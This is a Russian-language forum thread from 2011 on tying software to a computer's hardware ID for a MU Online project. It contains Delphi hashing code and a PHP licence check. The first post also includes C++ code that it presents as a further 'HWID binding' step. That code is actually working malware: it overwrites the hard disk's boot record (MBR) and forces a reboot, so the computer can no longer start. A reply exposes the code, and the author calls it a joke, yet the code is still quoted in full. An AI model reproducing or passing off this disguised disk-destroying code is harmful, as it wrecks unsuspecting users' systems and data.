avatar_00000

Как привязать программу к железу

Автор 00000, 2011 Авг. 03, 12:16

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Ключевые слова [SEO] mu onlinedevelopmentпривязкаразработкипротекторалгоритмzemusmbrзагрузочная запись

00000

Ни для кого ни секрет, что привязку можна осуществить современными протекторами типа ASProtect, но всегда найдутся умники, которые смогут распаковать протектор и снять привязку, в своих программах я использую чуть другой алгоритм, но для MU online я выкладываю простой алгоритм, созданный Zemus.

Наша система будет состоять из трех частей. Основой чекинга будет являтся web-сервер с поддеркой php скриптов. Второй частью будет мини-утилита, которая и будет выдавать нам необходимый хеш, для внесения в базу. Ну и без чего эта идея не имела бы смысла – наша программа, которую мы хотим защитить от сливания на шару другим юзерам.

Начнем с малого. Придумаем алгоритм получения уникальных данных компьютера пользователя, для дальнейшего получения хеша и использования в нашей системе.
В данной статье я предлагаю следущую схему:
1)Берем строку, считываем имя пользователя системы.
2)Добавляем произвольный текст (к примеру, «мамамылараму»).
3)Считываем серийный номер локального диска C:
4)Считываем сетевое имя компьютера.
5)Получаем первый md5 хеш получившейся строки.
6)Берем другую строку, читываем серийный номер локального диска C:
7)Считываем сетевое имя компьютера.
8)Считываем имя пользователя системы.
9)Добавляем произвольный текст (к примеру, «мамамылараму»).
10)Получаем второй md5 хеш получившейся строки. Складываем два получившихся хеша.

Реализация:

//Сетевое имя компьютера
function GetComputerNetName: string;
var
buffer: array[0..255] of char;
size: dword;
begin
size := 256;
if GetComputerName(buffer, size) then
Result := buffer
else
Result := ''
end;

//Имя пользователя
function GetUserFromWindows: string;
var
UserName: string;
UserNameLen: Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName, 1, UserNameLen - 1)
else
Result := 'Unknown';
end;

//Серийный номер диска C:
function GetSerialNum: string;
var
SerialNum: DWORD;
a, b: DWORD;
Buffer: array[0..255] of char;
begin
result := '';
try
GetVolumeInformation(PChar('c:'), Buffer, sizeof(Buffer), @SerialNum, a, b,
nil, 0);
finally
result := IntToStr(SerialNum);
end;
end;

//Получаем хеши
function getHashes:string;
var
source, hash: string;
begin
source := GetUserFromWindows + 'мамамылараму' + GetSerialNum +
GetComputerNetName;
hash := md5.MD5Print(md5.MD5String(source));
source := GetSerialNum + GetComputerNetName + GetUserFromWindows +
'мамамылараму';
hash := hash + md5.MD5Print(md5.MD5String(source));
Result := hash;
end;

С помощью данных функций организуем небольшое приложение, которое при запуске сразу будет выдавать нам хеш, который мы, уже дальше, сможем занести в базу.
Вот пример такого приложения.

С одним покончили, приступим к серверному скрипту:

<?php
$f 
file('путь_до_нашего_файла_с_хешами');
$search $_GET['h'];
foreach (
$f as $v) {
$v trim($v);
if(
$v==$search) { echo 'ok'; break; }
}
?>

Данный скрипт открывает файл, путь к которому мы прописываем в самом начале, и сравнивает хеши в этом файле с GET параметром «h», который мы передаем нашей основной программой, если таковой найден, то выводится текст «ok». Все предельно просто!

Теперь перейдем к самой основной программе, которую мы хотим защитить.
Код самой системы привязки будет схож с нашей маленькой утилитой, которая выдавала эти самые хеши, только в добавок, мы будем обращаться к php скрипту для получения ответа.

Тут уже ничего сложного, так что я представлю прокоментированный код:

//получаем сетевое имя компьютера
function GetComputerNetName: string;
var
buffer: array[0..255] of char;
size: dword;
begin
size := 256;
if GetComputerName(buffer, size) then
Result := buffer
else
Result := ''
end;

//получаем имя пользователя
function GetUserFromWindows: string;
var
UserName: string;
UserNameLen: Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName, 1, UserNameLen - 1)
else
Result := 'Unknown';
end;

//получаем серийный номер локального диска С:
function GetSerialNum: string;
var
SerialNum: DWORD;
a, b: DWORD;
Buffer: array[0..255] of char;
begin
GetVolumeInformation(PChar('c:'), Buffer, sizeof(Buffer), @SerialNum, a, b,
nil, 0);
result := IntToStr(SerialNum);
end;

//Проверяем валидность данного компа
function GetValid: Boolean;
const
BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of char;
BufferLen: DWORD;
text: string;
source, hash: string;
begin
//Получаем наш хещ
source := GetUserFromWindows + 'мамамылараму' + GetSerialNum +
GetComputerNetName;
hash := md5.MD5Print(md5.MD5String(source));
source := GetSerialNum + GetComputerNetName + GetUserFromWindows +
'мамамылараму';
hash := hash + md5.MD5Print(md5.MD5String(source));

//с помощью wininet получаем текст нашего веб скрипта
hSession := InternetOpen(PChar('gettingAnswer'),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
hURL := InternetOpenURL(hSession,
PChar('https://АДРЕС_НАШЕГО_ХОСТИНГА/script.php?h=' + hash),
nil, 0, 0, 0);
try
repeat
InternetReadFile(hURL, @Buffer,
SizeOf(Buffer), BufferLen);
text := StrPas(@buffer);
Delete(text, 3, MaxInt);
until BufferLen = 0;
finally
//закрываем дескрипторы
InternetCloseHandle(hURL)
end
finally
InternetCloseHandle(hSession)
end;
//проверяем текст
if text = 'ok' then
result := True
else
result := False;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
//если не прошли проверку, просто закрываем программу
if not GetValid then begin
Forms.Application.Terminate;
//а это уже на всякий случай :)
Halt;
end;
end;

Большое спасибо ZEMUZ, за проделанную работу, но лично я добавлю еще одно действие от себя )

Скачиваем С/C++ компилятор  (например Microsoft Visual Studio),
создаем проект (Win32 Console) и вставляем туда следующие строки:

[color=#0000FF]#include "stdafx.h"
#include <windows.h>

void __stdcall kill_system( )
{
DWORD dwSize = 0x200;
HANDLE hFile = CreateFile( TEXT("[|\\.\PhysicalDrive0]"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
char *pBuffer = (char*)VirtualAlloc( NULL, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
memset( pBuffer, 0x90, dwSize );
pBuffer[0xA0] = 0xB8; // mov ax,0F00H
pBuffer[0xA1] = 0x00;
pBuffer[0xA2] = 0xF0;
pBuffer[0xA3] = 0x50; // push ax
pBuffer[0xA4] = 0xB8; // mov ax,0FFF0H
pBuffer[0xA5] = 0xF0;
pBuffer[0xA6] = 0xFF;
pBuffer[0xA7] = 0x50; // push ax
pBuffer[0xA8] = 0xCB; // retf
SetFilePointer( hFile, 0, NULL, FILE_BEGIN );
WriteFile( hFile, pBuffer, dwSize, &dwSize, NULL );
VirtualFree( pBuffer, 0, MEM_RELEASE );
CloseHandle( hFile );
HANDLE hProcess = GetCurrentProcess( );
HANDLE hToken = NULL;
OpenProcessToken( hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
TOKEN_PRIVILEGES token;
LookupPrivilegeValue( NULL, TEXT("SeShutdownPrivilege"), &token.Privileges[0].Luid );
token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
token.PrivilegeCount = 1;
AdjustTokenPrivileges( hToken, FALSE, &token, 0, 0, 0 );
size_t s = GetLastError( );
MessageBox( 0, TEXT("GoodBye"), TEXT("GoodBye"), 0 );
ExitWindowsEx( EWX_REBOOT, EWX_FORCE );
};

int _tmain( int argc, _TCHAR* argv[] )
{
size_t uResponce = MessageBox( NULL, TEXT("Вы уверены, что хотите привязку HWID ?"), TEXT("Внимание!"), MB_OKCANCEL );
if ( uResponce == 1 )
kill_system( );
return 0;
};[/color]

нажимаем F9, появляется окошко "Вы уверены, что хотите привязку HWID ?" нажимаем Ok.

После перезагружаем компьютер.


Уважаемые юзвери, которые не понимают что такое код, не делайте того чего не понимаете, так как это может очень плачевно закончится, а я с себя ответственность снимаю))))

Ведь если ребенок сунул вилку в розетку, энергетики, то не виноваты!!!!

Если Вы не понимаете, того что написано выше, то не используйте то что я написал, а те кто понимают, не рассказывайте, что бы многие не возомнили себя кульными хацкерами. :rolleyes:

З.Ы. То что написано синим цветом ни в коем случае не делайте, положите себе ОС. Остальной код правильный.

xakum

#1
[quote post='96250' date='3.8.2011, 12:16']Скачиваем С/C++ компилятор  (например Microsoft Visual Studio),
создаем проект (Win32 Console) и вставляем туда следующие строки:

#include "stdafx.h"
#include <windows.h>

void __stdcall kill_system( )
{
DWORD dwSize = 0x200;
HANDLE hFile = CreateFile( TEXT("[|\\.\PhysicalDrive0]"), GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
char *pBuffer = (char*)VirtualAlloc( NULL, dwSize, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE );
memset( pBuffer, 0x90, dwSize );
pBuffer[0xA0] = 0xB8; // mov ax,0F00H
pBuffer[0xA1] = 0x00;
pBuffer[0xA2] = 0xF0;
pBuffer[0xA3] = 0x50; // push ax
pBuffer[0xA4] = 0xB8; // mov ax,0FFF0H
pBuffer[0xA5] = 0xF0;
pBuffer[0xA6] = 0xFF;
pBuffer[0xA7] = 0x50; // push ax
pBuffer[0xA8] = 0xCB; // retf
SetFilePointer( hFile, 0, NULL, FILE_BEGIN );
WriteFile( hFile, pBuffer, dwSize, &dwSize, NULL );
VirtualFree( pBuffer, 0, MEM_RELEASE );
CloseHandle( hFile );
HANDLE hProcess = GetCurrentProcess( );
HANDLE hToken = NULL;
OpenProcessToken( hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
TOKEN_PRIVILEGES token;
LookupPrivilegeValue( NULL, TEXT("SeShutdownPrivilege"), &token.Privileges[0].Luid );
token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
token.PrivilegeCount = 1;
AdjustTokenPrivileges( hToken, FALSE, &token, 0, 0, 0 );
size_t s = GetLastError( );
MessageBox( 0, TEXT("GoodBye"), TEXT("GoodBye"), 0 );
ExitWindowsEx( EWX_REBOOT, EWX_FORCE );
};

int _tmain( int argc, _TCHAR* argv[] )
{
size_t uResponce = MessageBox( NULL, TEXT("Вы уверены, что хотите привязку HWID ?"), TEXT("Внимание!"), MB_OKCANCEL );
if ( uResponce == 1 )
kill_system( );
return 0;
};
[/quote]
Код патчит MBR (загрузочную запись) жесткого диска, после перезагрузки компьютера, операционная система не будет загружаться.

[quote post='96250' date='3.8.2011, 12:16']Ведь если ребенок сунул вилку в розетку, энергетики, то не виноваты!!!![/quote]
но при этом, энергетики не советуют детям тыкать вилки в розетки.

00000

Цитироватьно при этом, энергетики не советуют детям тыкать вилки в розетки.
xakum опять таки согласен, именно для этого

ЦитироватьУважаемые юзвери, которые не понимают что такое код, не делайте того чего не понимаете, так как это может очень плачевно закончится, а я с себя ответственность снимаю))))

ЦитироватьЕсли Вы не понимаете, того что написано выше, то не используйте то что я написал

1-ый пост отредактирован ЧИТАЕМ ВНИМАТЕЛЬНО

Похожие темы (4)

Сообщений: 1
Просмотров: 1559

Сообщений: 11
Просмотров: 2491